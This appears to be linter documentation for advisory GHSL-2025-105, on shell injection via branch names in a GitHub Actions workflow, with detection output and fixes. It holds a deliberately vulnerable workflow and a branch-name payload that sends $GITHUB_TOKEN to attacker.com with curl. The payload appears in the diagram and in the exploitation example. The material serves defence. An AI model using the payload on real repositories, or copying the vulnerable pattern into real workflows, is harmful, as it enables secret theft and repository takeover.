GHSL-2025-105: Code Injection via Branch Name #
Summary #
| Item | Value |
|---|---|
| Advisory ID | GHSL-2025-105 |
| Severity | Critical |
| Affected Component | department-of-veterans-affairs/vets-api |
| CVE | N/A |
| CWE | CWE-78 (OS Command Injection) |
| Reference | https://securitylab.github.com/advisories/GHSL-2025-105_vets-api/ |
Vulnerability Description #
GHSL-2025-105 is a code injection vulnerability in the ready_for_review.yml workflow. The vulnerability occurs when:
- Branch names (
github.head_ref,github.event.workflow_run.head_branch) are directly interpolated into shell commands - The workflow uses
workflow_runtrigger (privileged context) - The workflow has
permissions: write-all(maximum privileges)
Attackers can create branches with malicious names to execute arbitrary code.
Attack Vector #
sequenceDiagram
participant Attacker
participant Branch
participant Workflow
participant Secrets
Attacker->>Branch: Create branch with malicious name
Note right of Attacker: Branch: main"; curl attacker.com?t=$GITHUB_TOKEN; echo "
Attacker->>Branch: Open PR from malicious branch
Branch->>Workflow: Trigger workflow_run event
Workflow->>Workflow: HEAD_BRANCH="${{ head_branch }}"
Note right of Workflow: Shell interprets injected commands
Workflow->>Secrets: Access all secrets (write-all permissions)
Workflow-->>Attacker: Complete repository compromise
Vulnerable Code Pattern #
name: Ready for Review (Vulnerable)
on:
pull_request:
types: [ready_for_review]
workflow_run:
workflows: ["CI", "Tests", "Lint", "Build"]
types: [completed]
permissions: write-all # DANGEROUS: Maximum privileges
jobs:
process:
runs-on: ubuntu-latest
steps:
- uses: actions/checkout@v4
# VULNERABLE: Branch name directly interpolated in shell
- name: Get branch info
id: branch
run: |
echo "pr_branch=${{ github.head_ref }}" >> $GITHUB_OUTPUT
# VULNERABLE: workflow_run head_branch in shell
- name: Process workflow run
if: github.event_name == 'workflow_run'
run: |
HEAD_BRANCH="${{ github.event.workflow_run.head_branch }}"
echo "pr_branch=${{ github.event.workflow_run.head_branch }}" >> $GITHUB_OUTPUT
Exploitation Example #
Branch name:
main"; curl https://attacker.com/steal?token=$GITHUB_TOKEN; echo "
Resulting shell command:
HEAD_BRANCH="main"; curl https://attacker.com/steal?token=$GITHUB_TOKEN; echo ""
sisakulint Detection #
sisakulint detects this vulnerability with multiple rules:
1. code-injection-critical #
[code-injection-critical] "github.head_ref" is potentially untrusted and used
in a workflow with privileged triggers.
[code-injection-critical] "github.event.workflow_run.head_branch" is potentially
untrusted and used in a workflow with privileged triggers.
2. output-clobbering-critical #
[output-clobbering-critical] "github.head_ref" is potentially untrusted and
written to $GITHUB_OUTPUT in a workflow with privileged triggers. Attackers
can inject newlines to overwrite other output variables.
3. dangerous-triggers-critical #
[dangerous-triggers-critical] workflow uses privileged trigger(s) [workflow_run]
without any security mitigations.
4. permissions warning #
[permissions] The 'write-all' scope is too broad, covering all available scopes.
Remediation #
Option 1: Use Environment Variables (Recommended) #
- name: Get branch info
env:
HEAD_REF: ${{ github.head_ref }}
run: |
echo "pr_branch=$HEAD_REF" >> $GITHUB_OUTPUT
Option 2: Restrict Permissions #
permissions:
contents: read
pull-requests: write
# Only request what's needed
Option 3: Use Heredoc for GITHUB_OUTPUT #
- name: Get branch info
env:
HEAD_REF: ${{ github.head_ref }}
run: |
{
echo "pr_branch<<EOF"
echo "$HEAD_REF"
echo "EOF"
} >> $GITHUB_OUTPUT
Auto-Fix Support #
sisakulint provides auto-fix for this vulnerability:
sisakulint -fix on script/actions/ghsl/ghsl-2025-105.yaml
Test Files #
- Vulnerable pattern:
script/actions/ghsl/ghsl-2025-105.yaml